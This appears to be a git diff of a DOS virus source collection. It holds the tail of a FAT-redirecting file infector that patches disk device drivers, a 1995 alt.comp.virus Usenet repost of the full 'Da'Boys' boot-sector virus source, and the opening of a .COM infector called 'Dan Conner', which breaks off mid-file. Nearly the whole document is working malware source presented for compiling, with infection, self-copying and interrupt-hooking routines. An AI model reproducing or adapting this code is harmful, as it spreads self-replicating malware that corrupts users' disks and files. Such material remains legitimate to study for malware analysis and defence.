xchg ax,cx ; Move driver segment to CX
|
||||
mov [bx+si+18h],byte ptr -1 ; Flag block must be rebuilt
|
||||
mov di,[bx+si+13h] ; Save offset of device driver
|
||||
; Original device driver
|
||||
; address in CX:DI
|
||||
mov [bx+si+13h],offset header ; Replace with our own
|
||||
mov [bx+si+15h],cs ; (header)
|
||||
next: lds bx,[bx+si+19h] ; Get next device block
|
||||
cmp bx,-1 ; Is it the last one?
|
||||
jne search ; If not, search it
|
||||
jcxz install
|
||||
|
||||
pop ds ; Restore segment of first
|
||||
mov ax,ds ; MCB
|
||||
add ax,ds:[3] ; Go to next MCB
|
||||
inc ax ; AX = segment next MCB
|
||||
mov dx,cs ; DX = MCB owning current
|
||||
dec dx ; program
|
||||
cmp ax,dx ; Are these the same?
|
||||
jne no_boot ; If not, we are not currently
|
||||
; in the middle of a reboot
|
||||
add word ptr ds:[3],61h ; Increase length owned by
|
||||
; MCB by 1552 bytes
|
||||
no_boot: mov ds,dx ; DS = MCB owning current
|
||||
; program
|
||||
mov word ptr ds:[1],8 ; Set owner = DOS
|
||||
|
||||
mov ds,cx ; DS = segment of original
|
||||
; device driver
|
||||
les ax,[di+6] ; ES = offset int handler
|
||||
; AX = offset strategy entry
|
||||
mov word ptr cs:str_block,ax ; Save entry point
|
||||
mov word ptr cs:int_block,es ; And int block for use in
|
||||
; function _in
|
||||
cld ; Scan for the write
|
||||
mov si,1 ; function in the
|
||||
scan: dec si ; original device driver
|
||||
lodsw
|
||||
cmp ax,1effh
|
||||
jne scan
|
||||
mov ax,2cah ; Wicked un-yar place o'
|
||||
cmp [si+4],ax ; doom.
|
||||
je right
|
||||
cmp [si+5],ax
|
||||
jne scan
|
||||
right: lodsw
|
||||
push cs
|
||||
pop es
|
||||
mov di,offset modify+1 ; Save address of patch
|
||||
stosw ; area so it can be changed
|
||||
xchg ax,si ; later.
|
||||
mov di,offset i13org ; This is in the stack, but
|
||||
cli ; it is used by "i13pr"
|
||||
movsw
|
||||
movsw
|
||||
|
||||
mov dx,0c000h ; Scan for hard disk ROM
|
||||
; Start search @ segment C000h
|
||||
fdsk1: mov ds,dx ; Load up the segment
|
||||
xor si,si ; atart at offset 0000h
|
||||
lodsw ; Scan for the signature
|
||||
cmp ax,0aa55h ; Is it the signature?
|
||||
jne fdsk4 ; If not, change segment
|
||||
cbw ; clear AH
|
||||
lodsb ; load a byte to AL
|
||||
mov cl,9
|
||||
sal ax,cl ; Shift left, 0 filled
|
||||
fdsk2: cmp [si],6c7h
|
||||
jne fdsk3
|
||||
cmp word ptr [si+2],4ch
|
||||
jne fdsk3
|
||||
push dx ; Save the segment
|
||||
push [si+4] ; and offset on stack
|
||||
jmp short death ; for use by i13pr
|
||||
|
||||
install: int 20h
|
||||
file: db "c:",255,0
|
||||
fdsk3: inc si ; Increment search offset
|
||||
cmp si,ax ; If we are not too high,
|
||||
jb fdsk2 ; try again
|
||||
fdsk4: inc dx ; Increment search segment
|
||||
cmp dh,0f0h ; If we are not in high
|
||||
jb fdsk1 ; memory, try again
|
||||
|
||||
sub sp,4 ; effectively push dummy vars.
|
||||
death: push cs ; on stack for use by i13pr
|
||||
pop ds
|
||||
mov bx,ds:[2ch] ; Get environment from PSP
|
||||
mov es,bx
|
||||
mov ah,49h ; Release it (to save memory)
|
||||
call jump
|
||||
xor ax,ax
|
||||
test bx,bx ; Is BX = 0?
|
||||
jz boot ; If so, we are booting now
|
||||
mov di,1 ; and not running a file
|
||||
seek: dec di ; Search for end of
|
||||
scasw ; the environment block
|
||||
jne seek
|
||||
lea si,[di+2] ; SI points to filename
|
||||
jmp short exec ; (in DOS 3.X+)
|
||||
; Execute that file
|
||||
boot: mov es,ds:[16h] ; get PSP of parent
|
||||
mov bx,es:[16h] ; get PSP of parent
|
||||
dec bx ; go to its MCB
|
||||
xor si,si
|
||||
exec: push bx
|
||||
mov bx,offset param ; Set up parameter block
|
||||
; for EXEC function
|
||||
mov [bx+4],cs ; segment to command line
|
||||
mov [bx+8],cs ; segment to 1st FCB
|
||||
mov [bx+12],cs ; segment to 2nd FCB
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov di,offset f_name
|
||||
push di ; Save filename offset
|
||||
mov cx,40 ; Copy the filename to
|
||||
rep movsw ; the buffer
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,3dh ; Handle open file
|
||||
mov dx,offset file ; "c:ÿ",0
|
||||
call jump
|
||||
pop dx ; DS:DX -> filename
|
||||
|
||||
mov ax,4b00h ; Load and Execute
|
||||
call jump ; ES:BX = param block
|
||||
mov ah,4dh ; Get errorlevel
|
||||
call jump
|
||||
mov ah,4ch ; Terminate
|
||||
|
||||
jump: pushf ; Simulate an interrupt 21h
|
||||
call dword ptr cs:[i21org]
|
||||
ret
|
||||
|
||||
|
||||
;--------Installation complete
|
||||
|
||||
i13pr: mov ah,3 ; Write AL sectors from ES:BX
|
||||
jmp dword ptr cs:[i13org] ; to track CH, sector CL,
|
||||
; head DH, drive DL
|
||||
|
||||
|
||||
main: push ax ; driver
|
||||
push cx ; strategy block
|
||||
push dx
|
||||
push ds
|
||||
push si
|
||||
push di
|
||||
|
||||
push es ; Move segment of parameter
|
||||
pop ds ; block to DS
|
||||
mov al,[bx+2] ; [bx+2] holds command code
|
||||
|
||||
cmp al,4 ; Input (read)
|
||||
je input
|
||||
cmp al,8 ; Output (write)
|
||||
je output
|
||||
cmp al,9 ; Output (write) with verify
|
||||
je output
|
||||
|
||||
call in_ ; Call original device
|
||||
cmp al,2 ; Request build BPB
|
||||
jne ppp ; If none of the above, exit
|
||||
lds si,[bx+12h] ; DS:SI point to BPB table
|
||||
mov di,offset bpb_buf ; Replace old pointer with
|
||||
mov es:[bx+12h],di ; a pointer to our own
|
||||
mov es:[bx+14h],cs ; BPB table
|
||||
push es ; Save segment of parameters
|
||||
push cs
|
||||
pop es
|
||||
mov cx,16 ; Copy the old BPB table to
|
||||
rep movsw ; our own
|
||||
pop es ; Restore parameter segment
|
||||
push cs
|
||||
pop ds
|
||||
mov al,[di+2-32] ; AL = sectors per allocation
|
||||
cmp al,2 ; unit. If less than
|
||||
adc al,0 ; 2, increment
|
||||
cbw ; Extend sign to AH (clear AH)
|
||||
cmp word ptr [di+8-32],0 ; Is total number sectors = 0?
|
||||
je m32 ; If so, big partition (>32MB)
|
||||
sub [di+8-32],ax ; Decrease space of disk by
|
||||
; one allocation unit(cluster)
|
||||
jmp short ppp ; Exit
|
||||
m32: sub [di+15h-32],ax ; Handle large partitions
|
||||
sbb word ptr [di+17h-32],0
|
||||
|
||||
ppp: pop di
|
||||
pop si
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
rts: retf ; We are outta here!
|
||||
|
||||
output: mov cx,0ff09h
|
||||
call check ; is it a new disk?
|
||||
jz inf_sec ; If not, go away
|
||||
call in_ ; Call original device handler
|
||||
jmp short inf_dsk
|
||||
|
||||
inf_sec: jmp _inf_sec
|
||||
read: jmp _read
|
||||
read_: add sp,16 ; Restore the stack
|
||||
jmp short ppp ; Leave device driver
|
||||
|
||||
input: call check ; Is it a new disk?
|
||||
jz read ; If not, leave
|
||||
inf_dsk: mov byte ptr [bx+2],4 ; Set command code to READ
|
||||
cld
|
||||
lea si,[bx+0eh] ; Load from buffer address
|
||||
mov cx,8 ; Save device driver request
|
||||
save: lodsw ; on the stack
|
||||
push ax
|
||||
loop save
|
||||
mov word ptr [bx+14h],1 ; Starting sector number = 1
|
||||
; (Read 1st FAT)
|
||||
call driver ; Read one sector
|
||||
jnz read_ ; If error, exit
|
||||
mov byte ptr [bx+2],2 ; Otherwise build BPB
|
||||
call in_ ; Have original driver do the
|
||||
; work
|
||||
lds si,[bx+12h] ; DS:SI points to BPB table
|
||||
mov ax,[si+6] ; Number root directory entries
|
||||
add ax,15 ; Round up
|
||||
mov cl,4
|
||||
shr ax,cl ; Divide by 16 to find sectors
|
||||
; of root directory
|
||||
mov di,[si+0bh] ; DI = sectors/FAT
|
||||
add di,di ; Double for 2 FATs
|
||||
stc ; Add one for boot record
|
||||
adc di,ax ; Add sector size of root dir
|
||||
push di ; to find starting sector of
|
||||
; data (and read)
|
||||
cwd ; Clear DX
|
||||
mov ax,[si+8] ; AX = total sectors
|
||||
test ax,ax ; If it is zero, then we have
|
||||
jnz more ; an extended partition(>32MB)
|
||||
mov ax,[si+15h] ; Load DX:AX with total number
|
||||
mov dx,[si+17h] ; of sectors
|
||||
more: xor cx,cx
|
||||
sub ax,di ; Calculate FAT entry for last
|
||||
; sector of disk
|
||||
sbb dx,cx
|
||||
mov cl,[si+2] ; CL = sectors/cluster
|
||||
div cx ; AX = cluster #
|
||||
cmp cl,2 ; If there is more than 1
|
||||
sbb ax,-1 ; cluster/sector, add one
|
||||
push ax ; Save cluster number
|
||||
call convert ; AX = sector number to read
|
||||
; DX = offset in sector AX
|
||||
; of FAT entry
|
||||
; DI = mask for EOF marker
|
||||
mov byte ptr es:[bx+2],4 ; INPUT (read)
|
||||
mov es:[bx+14h],ax ; Starting sector = AX
|
||||
call driver ; One sector only
|
||||
again: lds si,es:[bx+0eh] ; DS:SI = buffer address
|
||||
add si,dx ; Go to FAT entry
|
||||
sub dh,cl ; Calculate a new encryption
|
||||
adc dx,ax ; value
|
||||
mov word ptr cs:gad+1,dx ; Change the encryption value
|
||||
cmp cl,1 ; If there is 0 cluster/sector
|
||||
je small_ ; then jump to "small_"
|
||||
mov ax,[si] ; Load AX with offset of FAT
|
||||
; entry
|
||||
and ax,di ; Mask it with value from
|
||||
; "convert" then test to see
|
||||
; if the sector is fine
|
||||
cmp ax,0fff7h ; 16 bit reserved/bad
|
||||
je bad
|
||||
cmp ax,0ff7h ; 12 bit reserved/bad
|
||||
je bad
|
||||
cmp ax,0ff70h ; 12 bit reserved/bad
|
||||
jne ok
|
||||
bad: pop ax ; Tried to replicate on a bad
|
||||
dec ax ; cluster. Try again on a
|
||||
push ax ; lower one.
|
||||
call convert ; Find where it is in the FAT
|
||||
jmp short again ; and try once more
|
||||
small_: not di ; Reverse mask bits
|
||||
and [si],di ; Clear other bits
|
||||
pop ax ; AX = cluster number
|
||||
push ax
|
||||
inc ax ; Need to do 2 consecutive
|
||||
push ax ; bytes
|
||||
mov dx,0fh
|
||||
test di,dx
|
||||
jz here
|
||||
inc dx ; Multiply by 16
|
||||
mul dx
|
||||
here: or [si],ax ; Set cluster to next
|
||||
pop ax ; Restore cluster of write
|
||||
call convert ; Calculate buffer offset
|
||||
mov si,es:[bx+0eh] ; Go to FAT entry (in buffer)
|
||||
add si,dx
|
||||
mov ax,[si]
|
||||
and ax,di
|
||||
ok: mov dx,di ; DI = mask from "convert"
|
||||
dec dx
|
||||
and dx,di ; Yerg!
|
||||
not di
|
||||
and [si],di
|
||||
or [si],dx ; Set [si] to DI
|
||||
|
||||
cmp ax,dx ; Did we change the FAT?
|
||||
pop ax ; i.e. Are we already on this
|
||||
pop di ; disk?
|
||||
mov word ptr cs:pointer+1,ax ; Our own starting cluster
|
||||
je _read_ ; If we didn't infect, then
|
||||
; leave the routine. Oh
|
||||
; welp-o.
|
||||
mov dx,[si]
|
||||
push ds
|
||||
push si
|
||||
call write ; Update the FAT
|
||||
pop si
|
||||
pop ds
|
||||
jnz _read_ ; Quit if there's an error
|
||||
call driver
|
||||
cmp [si],dx
|
||||
jne _read_
|
||||
dec ax
|
||||
dec ax
|
||||
mul cx ; Multiply by sectors/cluster
|
||||
; to find the sector of the
|
||||
; write
|
||||
add ax,di
|
||||
adc dx,0
|
||||
push es
|
||||
pop ds
|
||||
mov word ptr [bx+12h],2 ; Byte/sector count
|
||||
mov [bx+14h],ax ; Starting sector #
|
||||
test dx,dx
|
||||
jz less
|
||||
mov word ptr [bx+14h],-1 ; Flag extended partition
|
||||
mov [bx+1ah],ax ; Handle the sector of the
|
||||
mov [bx+1ch],dx ; extended partition
|
||||
less: mov [bx+10h],cs ; Transfer address segment
|
||||
mov [bx+0eh],100h ; and the offset (duh)
|
||||
call write ; Zopy ourselves!
|
||||
; (We want to travel)
|
||||
_read_: std
|
||||
lea di,[bx+1ch] ; Restore device driver header
|
||||
mov cx,8 ; from the stack
|
||||
load: pop ax
|
||||
stosw
|
||||
loop load
|
||||
_read: call in_ ; Call original device handler
|
||||
|
||||
mov cx,9
|
||||
_inf_sec:
|
||||
mov di,es:[bx+12h] ; Bytes/Sector
|
||||
lds si,es:[bx+0eh] ; DS:SI = pointer to buffer
|
||||
sal di,cl ; Multiply by 512
|
||||
; DI = byte count
|
||||
xor cl,cl
|
||||
add di,si ; Go to address in the buffer
|
||||
xor dl,dl ; Flag for an infection in
|
||||
; function find
|
||||
push ds
|
||||
push si
|
||||
call find ; Infect the directory
|
||||
jcxz no_inf
|
||||
call write ; Write it back to the disk
|
||||
and es:[bx+4],byte ptr 07fh ; Clear error bit in status
|
||||
; word
|
||||
no_inf: pop si
|
||||
pop ds
|
||||
inc dx ; Flag for a decryption in
|
||||
; function find
|
||||
call find ; Return right information to
|
||||
; calling program
|
||||
jmp ppp
|
||||
|
||||
;--------Subroutines
|
||||
|
||||
find: mov ax,[si+8] ; Check filename extension
|
||||
cmp ax,"XE" ; in directory structure
|
||||
jne com
|
||||
cmp [si+10],al
|
||||
je found
|
||||
com: cmp ax,"OC"
|
||||
jne go_on
|
||||
cmp byte ptr [si+10],"M"
|
||||
jne go_on
|
||||
found: test [si+1eh],0ffc0h ; >4MB ; Check file size high word
|
||||
jnz go_on ; to see if it is too big
|
||||
test [si+1dh],03ff8h ; <2048B ; Check file size low word
|
||||
jz go_on ; to see if it is too small
|
||||
test [si+0bh],byte ptr 1ch ; Check attribute for subdir,
|
||||
jnz go_on ; volume label or system file
|
||||
test dl,dl ; If none of these, check DX
|
||||
jnz rest ; If not 0, decrypt
|
||||
pointer: mov ax,1234h ; mov ax, XX modified elsewhere
|
||||
cmp ax,[si+1ah] ; Check for same starting
|
||||
; cluster number as us
|
||||
je go_on ; If it is, then try another
|
||||
xchg ax,[si+1ah] ; Otherwise make it point to
|
||||
; us.
|
||||
gad: xor ax,1234h ; Encrypt their starting
|
||||
; cluster
|
||||
mov [si+14h],ax ; And put it in area reserved
|
||||
; by DOS for no purpose
|
||||
loop go_on ; Try another file
|
||||
rest: xor ax,ax ; Disinfect the file
|
||||
xchg ax,[si+14h] ; Get starting cluster
|
||||
xor ax,word ptr cs:gad+1 ; Decrypt the starting cluster
|
||||
mov [si+1ah],ax ; and put it back
|
||||
go_on: db 2eh,0d1h,6 ; rol cs:[gad+1], 1
|
||||
dw offset gad+1 ; Change encryption and
|
||||
add si,32 ; go to next file
|
||||
cmp di,si ; If it is not past the end of
|
||||
jne find ; the buffer, then try again
|
||||
ret ; Otherwise quit
|
||||
|
||||
check: mov ah,[bx+1] ; ah = unit code (block device
|
||||
; only)
|
||||
drive: cmp ah,-1 ; cmp ah, XX can change.
|
||||
; Compare with the last call
|
||||
; -1 is just a dummy
|
||||
; impossible value that will
|
||||
; force the change to be true
|
||||
mov byte ptr cs:[drive+2],ah ; Save this call's drive
|
||||
jne changed ; If not the same as last call
|
||||
; media has changed
|
||||
push [bx+0eh] ; If it is the same physical
|
||||
; drive, see if floppy has
|
||||
; been changed
|
||||
mov byte ptr [bx+2],1 ; Tell original driver to do a
|
||||
call in_ ; media check (block only)
|
||||
cmp byte ptr [bx+0eh],1 ; Returns 1 in [bx+0eh] if
|
||||
pop [bx+0eh] ; media has not been changed
|
||||
mov [bx+2],al ; Restore command code
|
||||
changed: ret ; CF,ZF set if media has not
|
||||
; been changed, not set if
|
||||
; has been changed or we don't
|
||||
; know
|
||||
write: cmp byte ptr es:[bx+2],8 ; If we want OUTPUT, go to
|
||||
jae in_ ; original device handler
|
||||
; and return to caller
|
||||
mov byte ptr es:[bx+2],4 ; Otherwise, request INPUT
|
||||
mov si,70h
|
||||
mov ds,si ; DS = our segment
|
||||
modify: mov si,1234h ; Address is changed elsewhere
|
||||
push [si]
|
||||
push [si+2]
|
||||
mov [si],offset i13pr
|
||||
mov [si+2],cs
|
||||
call in_ ; Call original device handler
|
||||
pop [si+2]
|
||||
pop [si]
|
||||
ret
|
||||
|
||||
driver: mov word ptr es:[bx+12h],1 ; One sector
|
||||
in_: ; in_ first calls the strategy
|
||||
; of the original device
|
||||
; driver and then calls the
|
||||
; interrupt handler
|
||||
db 09ah ; CALL FAR PTR
|
||||
str_block:
|
||||
dw ?,70h ; address
|
||||
db 09ah ; CALL FAR PTR
|
||||
int_block:
|
||||
dw ?,70h ; address
|
||||
test es:[bx+4],byte ptr 80h ; Was there an error?
|
||||
ret
|
||||
|
||||
convert: cmp ax,0ff0h ; 0FFF0h if 12 bit FAT
|
||||
jae fat_16 ; 0FF0h = reserved cluster
|
||||
mov si,3 ; 12 bit FAT
|
||||
xor word ptr cs:[si+gad-1],si ; Change the encryption value
|
||||
mul si ; Multiply by 3 and
|
||||
shr ax,1 ; divide by 2
|
||||
mov di,0fffh ; Mark it EOF (low 12 bits)
|
||||
jnc cont ; if it is even, continue
|
||||
mov di,0fff0h ; otherwise, mark it EOF (high
|
||||
jmp short cont ; 12 bits) and then continue
|
||||
fat_16: mov si,2 ; 16 bit FAT
|
||||
mul si ; Double cluster #
|
||||
mov di,0ffffh ; Mark it as end of file
|
||||
cont: mov si,512
|
||||
div si ; AX = sector number
|
||||
; (relative to start of FAT)
|
||||
; DX = offset in sector AX
|
||||
header: inc ax ; Increment AX to account for
|
||||
ret ; boot record
|
||||
|
||||
counter: dw 0
|
||||
|
||||
dw 842h ; Attribute
|
||||
; Block device
|
||||
; DOS 3 OPEN/CLOSE removable
|
||||
; media calls supported
|
||||
; Generic IOCTL call supported
|
||||
; Supports 32 bit sectors
|
||||
dw offset main ; Strategy routine
|
||||
dw offset rts ; Interrupt routine (rtf)
|
||||
db 7fh ; Number of subunits supported
|
||||
; by this driver. Wow, lookit
|
||||
; it -- it's so large and juicy
|
||||
|
||||
; Parameter block format:
|
||||
; 0 WORD Segment of environment
|
||||
; 2 DWORD pointer to command line
|
||||
; 6 DWORD pointer to 1st default FCB
|
||||
;10 DWORD pointer to 2nd default FCB
|
||||
param: dw 0,80h,?,5ch,?,6ch,?
|
||||
|
||||
bpb_buf: db 32 dup(?)
|
||||
f_name: db 80 dup(?)
|
||||
|
||||
;--------The End.
|
||||
dir_2 ends
|
||||
end start
|
||||
@@ -0,0 +1,302 @@
|
||||
From smtp Fri Mar 24 16:17 EST 1995
|
||||
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Fri, 24 Mar 95 16:17 EST
|
||||
Received: (from ekilby@localhost) by lynx.dac.neu.edu (8.6.11/8.6.10) id QAA30764 for joshuaw@pobox.jwu.edu; Fri, 24 Mar 1995 16:21:26 -0500
|
||||
Date: Fri, 24 Mar 1995 16:21:26 -0500
|
||||
From: Eric Kilby <ekilby@lynx.dac.neu.edu>
|
||||
Content-Length: 6924
|
||||
Content-Type: text
|
||||
Message-Id: <199503242121.QAA30764@lynx.dac.neu.edu>
|
||||
To: joshuaw@pobox.jwu.edu
|
||||
Subject: (fwd) Re: Da'boys viurs, new?
|
||||
Newsgroups: alt.comp.virus
|
||||
Status: O
|
||||
|
||||
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.ultranet.com!news.sprintlink.net!cs.utexas.edu!uunet!in1.uu.net!nntp.crl.com!crl9.crl.com!not-for-mail
|
||||
From: yojimbo@crl.com (Douglas Mauldin)
|
||||
Newsgroups: alt.comp.virus
|
||||
Subject: Re: Da'boys viurs, new?
|
||||
Date: 23 Mar 1995 23:25:53 -0800
|
||||
Organization: CRL Dialup Internet Access (415) 705-6060 [Login: guest]
|
||||
Lines: 276
|
||||
Message-ID: <3kts61$1a3@crl9.crl.com>
|
||||
References: <3kst9u$2u4@crl10.crl.com> <3ktps4$h08@crl6.crl.com>
|
||||
NNTP-Posting-Host: crl9.crl.com
|
||||
X-Newsreader: TIN [version 1.2 PL2]
|
||||
|
||||
;: does anyone know what this virus does? how dangerous is it
|
||||
;: and how do i remove it from my boot sector if the disk is not
|
||||
;: a bootable one?
|
||||
|
||||
;From THe QUaRaNTiNE archives: Da'Boys Source-
|
||||
;Enjoy...
|
||||
|
||||
cseg segment para public 'code'
|
||||
da_boys proc near
|
||||
assume cs:cseg
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
.186
|
||||
TRUE equ 001h
|
||||
FALSE equ 000h
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
;option bytes used
|
||||
|
||||
COM4_OFF equ TRUE ; 3 bytes
|
||||
DA_BOYS_TEXT equ TRUE ; 6 bytes
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
ADDR_MUL equ 004h
|
||||
BIOS_INT_13 equ 0c6h
|
||||
BOOT_INT equ 019h
|
||||
BOOT_OFFSET equ 07c00h
|
||||
COM4_OFFSET equ 00406h
|
||||
COM_OFFSET equ 00100h
|
||||
DISK_INT equ 013h
|
||||
DOS_GET_INT equ 03500h
|
||||
DOS_INT equ 021h
|
||||
DOS_SET_INT equ 02500h
|
||||
FIRST_SECTOR equ 00001h
|
||||
INITIAL_BX equ 00078h
|
||||
LOW_CODE equ 0021dh
|
||||
NEW_INT_13_LOOP equ 0cdh
|
||||
READ_A_SECTOR equ 00201h
|
||||
RETURN_NEAR equ 0c3h
|
||||
SECTOR_SIZE equ 00200h
|
||||
TERMINATE_W_ERR equ 04c00h
|
||||
TWO_BYTES equ 002h
|
||||
VIRGIN_INT_13_B equ 007b4h
|
||||
WRITE_A_SECTOR equ 00301h
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
io_seg segment at 00070h
|
||||
org 00000h
|
||||
io_sys_loads_at label word
|
||||
io_seg ends
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
bios_seg segment at 0f000h
|
||||
org 09315h
|
||||
original_int_13 label word
|
||||
bios_seg ends
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
org COM_OFFSET
|
||||
com_code:
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
dropper proc near
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
lds dx,dword ptr ds:[VIRGIN_INT_13_B]
|
||||
mov ax,DOS_SET_INT+BIOS_INT_13
|
||||
int DOS_INT
|
||||
mov dx,offset interrupt_13+LOW_CODE-offset old_jz
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,DOS_SET_INT+DISK_INT
|
||||
int DOS_INT
|
||||
mov di,LOW_CODE
|
||||
mov si,offset old_jz
|
||||
push ds
|
||||
pop es
|
||||
call move_to_boot
|
||||
mov ax,READ_A_SECTOR
|
||||
mov cx,FIRST_SECTOR
|
||||
mov dx,00180h
|
||||
mov bx,offset buffer
|
||||
push cs
|
||||
pop es
|
||||
int DISK_INT
|
||||
already_set: mov ax,TERMINATE_W_ERR
|
||||
int DOS_INT
|
||||
dropper endp
|
||||
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
org 00048h+COM_OFFSET
|
||||
call initialize
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
org 000ebh+COM_OFFSET
|
||||
old_jz: jz old_code
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
org 00edh+COM_OFFSET
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
error: jmp error_will_jmp+LOW_CODE-000ebh-BOOT_OFFSET
|
||||
move_to_low: mov si,offset old_jz+BOOT_OFFSET-COM_OFFSET
|
||||
xor ax,ax
|
||||
move_to_boot: mov cx,offset jmp_old_int_13-offset old_jz+1
|
||||
pushf
|
||||
cld
|
||||
rep movs byte ptr es:[di],cs:[si]
|
||||
popf
|
||||
ret
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
old_code: mov ax,word ptr ds:[bx+01ah]
|
||||
dec ax
|
||||
dec ax
|
||||
mov di,BOOT_OFFSET+049h
|
||||
mov bl,byte ptr ds:[di-03ch]
|
||||
xor bh,bh
|
||||
mul bx
|
||||
add ax,word ptr ds:[di]
|
||||
adc dx,word ptr ds:[di+002h]
|
||||
mov bx,00700h
|
||||
mov cl,003h
|
||||
old_loop: pusha
|
||||
call more_old_code
|
||||
popa
|
||||
jc error
|
||||
add ax,0001h
|
||||
adc dx,00h
|
||||
add bx,word ptr ds:[di-03eh]
|
||||
loop old_loop
|
||||
mov ch,byte ptr ds:[di-034h]
|
||||
mov dl,byte ptr ds:[di-025h]
|
||||
mov bx,word ptr ds:[di]
|
||||
mov ax,word ptr ds:[di+002h]
|
||||
jmp far ptr io_sys_loads_at
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
initialize: mov bx,INITIAL_BX
|
||||
mov di,LOW_CODE
|
||||
push ss
|
||||
pop ds
|
||||
jmp short set_interrupts
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
error_will_jmp: mov bx,BOOT_OFFSET
|
||||
IF DA_BOYS_TEXT
|
||||
db 'DA',027h,'BOYS'
|
||||
ELSE
|
||||
push bx
|
||||
ENDIF
|
||||
mov ax,00100h
|
||||
mov dx,08000h
|
||||
load_from_disk: mov cx,ax
|
||||
mov ax,READ_A_SECTOR
|
||||
xchg ch,cl
|
||||
xchg dh,dl
|
||||
int DISK_INT
|
||||
ret
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
org 00160h+COM_OFFSET
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
more_old_code: mov si,BOOT_OFFSET+018h
|
||||
cmp dx,word ptr ds:[si]
|
||||
jnb stc_return
|
||||
div word ptr ds:[si]
|
||||
inc dl
|
||||
mov ch,dl
|
||||
xor dx,dx
|
||||
IF COM4_OFF
|
||||
mov word ptr ds:[COM4_OFFSET],dx
|
||||
ENDIF
|
||||
div word ptr ds:[si+002h]
|
||||
mov dh,byte ptr ds:[si+00ch]
|
||||
shl ah,006h
|
||||
or ah,ch
|
||||
jmp short load_from_disk
|
||||
stc_return: stc
|
||||
ret
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
org 0181h+COM_OFFSET
|
||||
ret
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
restart_it: int BOOT_INT
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
set_interrupts: cmp word ptr ds:[di],ax
|
||||
jne is_resident
|
||||
mov word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL+TWO_BYTES],ax
|
||||
xchg word ptr ds:[bx+(DISK_INT*ADDR_MUL+TWO_BYTES)-INITIAL_BX],ax
|
||||
mov word ptr ds:[BIOS_INT_13*ADDR_MUL+TWO_BYTES],ax
|
||||
mov ax,offset interrupt_13+LOW_CODE-offset old_jz
|
||||
mov word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL],ax
|
||||
xchg word ptr ds:[bx+(DISK_INT*ADDR_MUL)-INITIAL_BX],ax
|
||||
mov word ptr ds:[BIOS_INT_13*ADDR_MUL],ax
|
||||
is_resident: jmp move_to_low
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
interrupt_13 proc far
|
||||
cmp ah,high(READ_A_SECTOR)
|
||||
jne jmp_old_int_13
|
||||
cmp cx,FIRST_SECTOR
|
||||
jne jmp_old_int_13
|
||||
cmp dh,cl
|
||||
ja jmp_old_int_13
|
||||
pusha
|
||||
int BIOS_INT_13
|
||||
jc not_boot_sect
|
||||
mov ax,0efe8h
|
||||
xchg word ptr es:[bx+048h],ax
|
||||
cmp ax,078bbh
|
||||
jne not_boot_sect
|
||||
mov di,bx
|
||||
add di,offset old_jz-COM_OFFSET
|
||||
cmp bh,high(BOOT_OFFSET)
|
||||
pushf
|
||||
jne no_key_press
|
||||
mov byte ptr es:[di+00ch],RETURN_NEAR
|
||||
pusha
|
||||
call near ptr hit_any_key
|
||||
popa
|
||||
no_key_press: mov ax,WRITE_A_SECTOR
|
||||
mov si,LOW_CODE
|
||||
call move_to_boot
|
||||
inc cx
|
||||
int BIOS_INT_13
|
||||
popf
|
||||
je restart_it
|
||||
not_boot_sect: popa
|
||||
interrupt_13 endp
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
org 001e5h+COM_OFFSET
|
||||
jmp_old_int_13: jmp far ptr original_int_13
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
buffer db SECTOR_SIZE dup (0)
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
org 07cedh-LOW_CODE+offset old_jz
|
||||
hit_any_key label word
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
da_boys endp
|
||||
cseg ends
|
||||
end com_code
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,121 @@
|
||||
; Dan Conner written by MuTaTiON INTERRUPT
|
||||
; To compile this use TASM /M dan.asm
|
||||
;---------
|
||||
|
||||
|
||||
code segment public 'code'
|
||||
assume cs:code
|
||||
org 100h ; All .COM files start here
|
||||
|
||||
start:
|
||||
db 0e9h,0,0 ; Jump to the next command
|
||||
|
||||
virus:
|
||||
mov ax,3524h ; Get int 24 handler
|
||||
int 21h ; To ES:BX
|
||||
mov word ptr [oldint24],bx ; Save it
|
||||
mov word ptr [oldint24+2],es
|
||||
|
||||
mov ah,25h ; Set new int 24 handler
|
||||
mov dx,offset int24 ; DS:DX->new handler
|
||||
int 21h
|
||||
|
||||
push cs ; Restore ES
|
||||
pop es ; 'cuz it was changed
|
||||
|
||||
mov dx,offset comfilespec
|
||||
